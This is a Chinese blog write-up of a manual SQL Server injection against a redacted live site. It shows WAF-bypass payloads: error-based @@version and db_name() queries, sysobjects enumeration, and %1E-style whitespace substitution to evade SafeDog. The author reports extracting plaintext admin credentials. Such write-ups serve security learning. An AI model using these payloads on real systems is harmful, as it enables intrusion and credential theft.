记一次手工SQLServer注入 bypass安全狗

  • A+
所属分类:安全文章

 生活中不是缺少美,而是缺少发现美的眼睛

                                           --罗丹

                                               



前言



    最近除了工作中日常搬砖以外,偶尔也会挖挖src练练手,在挖的过程中也算是巩固学习了,但是偶尔会遇到烦人的waf,那么应该如何绕过呢?废话不多,咱们正式开席。






正文



目标站点是https://www.xxoo.com/

首先进行常规信息收集:真实IP、端口、中间件、cms等等,通过Chrome自带插件的得到信息如下,这里收集的信息的方式很多种,但是都不是本文重点,故忽略。记一次手工SQLServer注入 bypass安全狗

通过fofa插件获取到的端口信息如下:

记一次手工SQLServer注入 bypass安全狗


通过插件获取到的url地址可以得知http://m.xxoo.com为站点的子域名,拿小本本先记下来。

首先访问主站大致浏览了得知全部为伪静态页面,修改了url参数后也是直接404服务器错误。

记一次手工SQLServer注入 bypass安全狗

随后转战子域名看下,看的我一脸懵逼也全是伪静态,最后终于在快放弃的时候找到了一处数据交互的ID,后随手一个单引号页面报错,妥妥的sql注入~~,有的时候子域名就是这么的“优秀”。

记一次手工SQLServer注入 bypass安全狗


既然如此,那就直接sqlmap一把梭吧。结果并不是一帆风顺,恶狗挡路,简直淦了。。。。。

记一次手工SQLServer注入 bypass安全狗

记一次手工SQLServer注入 bypass安全狗


IP直接被ban了……

记一次手工SQLServer注入 bypass安全狗


但是作为一个合格的安服仔这就难道我了吗??

换个代理继续干,于是就用我扣脚的技术来尝试手工绕过下吧,通过报错的信息可以确定当前注入是整型注入。

记一次手工SQLServer注入 bypass安全狗


and 1=1and 1=2直接被拦截,真是一点面子不给

记一次手工SQLServer注入 bypass安全狗

在这里既让已经确是整型的注入了,那么我们可以使用id=1e0(页面正常)、id=1e5(页面错误)来进行判断,同样也是适用于mysql数据库的。

包括and .1=.1and .1=.2都是可以绕过安全狗来进行判断是否存在注入点的。

以下是我本地搭建的靶场测试结果

正常的页面。


记一次手工SQLServer注入 bypass安全狗


错误的页面。

记一次手工SQLServer注入 bypass安全狗


通过测试确实是可以判断注入点,并且也是能成功绕过安全狗的。

正常的结果页面返回。

记一次手工SQLServer注入 bypass安全狗


错误的页面返回。


记一次手工SQLServer注入 bypass安全狗


后面常规的语句走一波,判断数据库版本号,不出意外正常语句肯定被拦。

记一次手工SQLServer注入 bypass安全狗


尝试将空格替换为+进行绕过,也是被拦截,空格替换为%20进行测试也还是被拦截。

记一次手工SQLServer注入 bypass安全狗


这里我通过手工fuzz测试,得知将select删除就可以进行绕过了,语句构造如下and+1=(@@version)--a

记一次手工SQLServer注入 bypass安全狗


判断当前数据库名,同样的当构造and+1=(select db_name())--a时被拦的死死的

构造and+1=(db_name())--a就可以成功绕过。

记一次手工SQLServer注入 bypass安全狗


通过构造语句遍历db_name(1)里面的数值可以将所有数据库名爆出,这里我们拿到我们需要的数据库就行了,如下master数据等等……就不一一列举了。

记一次手工SQLServer注入 bypass安全狗


下面就是判断ixinweixw数据库中的表名。

常规的判断表名的语句如下:

查询mssqlilabs数据库中的第一个表名

and 1=(select top 1 name from mssqlilabs..sysobjects where xtype='U')-- a

记一次手工SQLServer注入 bypass安全狗


查询mssqlilabs数据库中所有的表名

and 1=((select name,%27||%27 from mssqlilabs..sysobjects where xtype='U' for xml path('')))-- a



记一次手工SQLServer注入 bypass安全狗


正常语句被拦截:

记一次手工SQLServer注入 bypass安全狗

后面通过手工fuzz知道这里拦截的是空格,并且参考前辈的文章得知

%1E在mssql中为空白符号,可以用来代替空格,那么这里将语句中的空格全部替换为%1E结果成功绕过。

爆出ixinweixw数据库第一个表。

记一次手工SQLServer注入 bypass安全狗


爆出ixinweixw数据库中所有表

记一次手工SQLServer注入 bypass安全狗


常规判断字段的语句如下:

and 1=(select name,'||' from mssqlilabs..syscolumns where id=(select top 1 id from mssqlilabs..sysobjects where xtype='U' )for xml path(''))-- a

查询mssqlilabs数据库中第一个表中所有字段。

记一次手工SQLServer注入 bypass安全狗

这里通过上面的返回结果,我们知道了ixinweixw数据库中第一个表名为adminlogin可能刚好就是我们需要的表名,所以构造语句就用我上面的语句即可,但是不出意外被拦截。

记一次手工SQLServer注入 bypass安全狗


继续替换%20为%1E成功绕过。

记一次手工SQLServer注入 bypass安全狗


然后就是直接读取username,password的值了,尽然还是明文存储的,也是牛批了。。

记一次手工SQLServer注入 bypass安全狗

随后sqlmap简单写一个tamper一把梭。

记一次手工SQLServer注入 bypass安全狗


总结:

通过以上的测试,得知在myssql中除了%1E可以替换空格之外

%1a%1b%1c%1d等等均可以替换空格绕过waf进行注入。


本地测试结果如下:

页面正常

记一次手工SQLServer注入 bypass安全狗

页面错误

记一次手工SQLServer注入 bypass安全狗



最后顺带whois了下主站和子站,发现权重和流量都高的吓人,真让dd瑟瑟发抖。。。。

记一次手工SQLServer注入 bypass安全狗

记一次手工SQLServer注入 bypass安全狗



记一次手工SQLServer注入 bypass安全狗



本文始发于微信公众号(IDLab):记一次手工SQLServer注入 bypass安全狗

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: